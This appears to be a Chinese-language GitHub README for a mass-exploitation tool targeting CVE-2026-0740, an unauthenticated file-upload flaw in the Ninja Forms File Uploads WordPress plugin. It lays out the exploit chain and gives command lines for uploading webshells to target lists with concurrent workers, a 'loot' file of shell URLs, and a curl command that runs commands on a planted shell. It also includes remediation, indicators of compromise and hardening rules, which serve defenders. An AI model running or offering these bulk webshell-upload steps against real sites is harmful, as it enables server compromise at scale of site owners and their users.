ExDev994/CVE-2026-0740-mass
GitHub: ExDev994/CVE-2026-0740-mass
针对 WordPress Ninja Forms 文件上传插件 CVE-2026-0740 未授权任意文件上传漏洞的批量利用与验证工具,可导致远程代码执行。
Stars: 1 | Forks: 1
# CVE-2026-0740 — 批量目标漏洞利用引擎
**作者:** 0xNuts
**贡献者:** [Cursor](https://cursor.com)
**代码库:** https://github.com/ExDev994/CVE-2026-0740-mass
针对 [CVE-2026-0740](https://www.cve.org/CVERecord?id=CVE-2026-0740) 的 PoC:**Ninja Forms File Uploads <= 3.3.26 — 未授权任意文件上传**,可导致 **RCE**。
该漏洞最初由 [Sélim Lanouar (@whattheslime)](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/selim-lanouar) 发现。批量目标 PoC 引擎由 **0xNuts** 开发,并得到了 **Cursor** 的贡献。
## 免责声明
本代码库**仅供安全研究和防御目的**(授权的渗透测试、有书面许可的红队演练、补丁验证和系统加固)使用。
- 未经所有者**明确许可**,请勿用于任何系统。
- 作者不对滥用此信息的行为负责。
## 漏洞概述
适用于 WordPress 的 **Ninja Forms - File Uploads** 插件在 **3.3.26** 及以下所有版本中存在 **未授权任意文件上传** 漏洞。
漏洞利用链:
1. 未经身份验证的攻击者通过 AJAX 动作 `nf_fu_get_new_nonce` 并附带任意 `field_id` 获取上传 nonce。
2. `nf_fu_upload` 处理程序会验证上传文件的扩展名(例如 `image.jpg`),但攻击者可以通过 POST 参数(`image_jpg`)覆盖目标文件名。
3. 目标文件名在没有经过充分过滤的情况下被传递给 `move_uploaded_file()` → 导致任意扩展名 + path traversal(`../`)。
| 向量 / 扩展名 | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|---|:---:|:---:|:---:|
| Path traversal (`../`) | PASS | - | - | - |
| `.php` | PASS | - | - | - |
| `.phtml`, `.phar` | PASS | PASS | - | - |
| `.pht` | PASS | PASS | PASS | - |
| `.html`, `.svg`, `.js` | PASS | PASS | PASS | - |
完整补丁在 **3.3.27+** 版本中提供。
## 前置条件
- Python 3.10+
- 目标已安装并启用 **Ninja Forms** 和 **Ninja Forms - File Uploads**(<= 3.3.26)插件
- 不需要预先存在的表单或上传字段
### 安装依赖
本代码库仅包含 `CVE-2026-0740.py` 和 `README.md`。请手动安装依赖:
```
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
```
## 使用方法
### CLI 帮助
```
python3 CVE-2026-0740.py -h
```
### 参数选项
| 标志 | 功能 |
|---|---|
| `-t`, `--target` | 单个目标(单个 URL) |
| `-f`, `--targets-file` | 包含目标列表的 `.txt` 文件(每行一个 URL) |
| `--shell` | 要上传的 payload/webshell 文件(**必填**) |
| `-d`, `--dest` | 目标 path traversal(默认:`../../../`) |
| `-w`, `--workers` | 并发线程数(默认:`20`) |
| `-o`, `--output` | 用于保存成功 shell URL 的 loot 文件(默认:`results.txt`) |
| `-x`, `--proxy` | HTTP 代理(例如 `http://127.0.0.1:8080`) |
| `-H`, `--headers` | 自定义 Header(格式:`'Header: Value'`) |
| `--timeout` | HTTP 超时时间(秒)(默认:`10`) |
**注意:** 必须且只能使用 `-t` 或 `-f` 中的一个。
### 单目标模式
```
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
```
使用显式 path traversal:
```
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
```
### 批量目标模式
创建一个 `target.txt` 文件:
```
http://site1.com
https://site2.com
10.0.0.5
# 注释行被忽略
```
运行:
```
python3 CVE-2026-0740.py -f target.txt --shell shell.php
```
调整 worker 并输出 loot:
```
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
```
成功上传的 shell URL 将被写入 loot 文件中(追加模式)。
### 最小 Webshell 示例
```
echo '' > shell.php
```
上传成功后,脚本会显示 shell 的 URL。验证(仅在授权的实验环境/目标上):
```
curl "http://target.com/wp-content/shell.php?cmd=id"
```
### 插件版本检测(可选)
```
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
```
## 修复方法(缓解措施)
### 1. 更新插件(首要任务)
立即将 **Ninja Forms - File Uploads** 更新至 **3.3.27 或更高版本**。
- WordPress 管理员 → **Plugins** → 检查 `Ninja Forms - File Uploads` 版本
- 如果无法自动更新,请从官方供应商处下载已修复的版本
### 2. 验证补丁
更新后:
- 确保插件版本 >= 3.3.27
- 测试 endpoint `wp-admin/admin-ajax.php` 的 `nf_fu_get_new_nonce` / `nf_fu_upload` 动作 — 必须拒绝任意上传
- 使用扫描器(Nuclei 模板 CVE-2026-0740)重新扫描以确认
### 3. 入侵指标 (IoC)
检查 WordPress 的上传目录:
```
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
```
查找不应存在的陌生文件:`.php`、`.pht`、`.phtml`、`.phar`、`.html`、`.svg`、`.js`。
同时检查 Web 服务器日志中对以下内容的请求:
```
/wp-admin/admin-ajax.php
```
带有参数 `action=nf_fu_get_new_nonce` 或 `action=nf_fu_upload`。
### 4. 额外加固
- 对 `/wp-admin/admin-ajax.php` 实施 **WAF / rate limiting**,以阻止批量上传滥用
- 通过 Web 服务器配置在 `wp-content/uploads/` 目录中**禁用 PHP 执行**:
**Apache (uploads/ 下的 .htaccess):**
Require all denied
**Nginx:**
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
- **最小权限原则**:确保上传的文件权限不允许 Web 服务器在所需目录之外进行写入
- **监控**:对来自陌生 IP 或高并发的、带有 `nf_fu_*` 动作的 `admin-ajax.php` POST 请求发出警报
- **备份与事件响应**:如果发现 IoC,隔离站点,轮换数据库/管理员凭据,审计其他插件/主题
### 5. 如果未使用该插件
如果不需要上传功能,请禁用并**删除** **Ninja Forms - File Uploads** 插件。
## 参考
- [CVE-2026-0740](https://www.cve.org/CVERecord?id=CVE-2026-0740)
- [Lexfo — Technical Deep Dive](https://blog.lexfo.fr/ninja-forms-uploads_rce.html)
- [Wordfence — 50,000 WordPress Sites Affected](https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/)
- [GHSA-v8wq-rjpf-669f](https://github.com/advisories/GHSA-v8wq-rjpf-669f)
- [Nuclei Template](https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-0740.yaml)
标签:CISA项目, PoC, 任意文件上传, 安全, 批量利用, 暴力破解, 编程工具, 超时处理, 运行时操纵, 远程代码执行, 逆向工具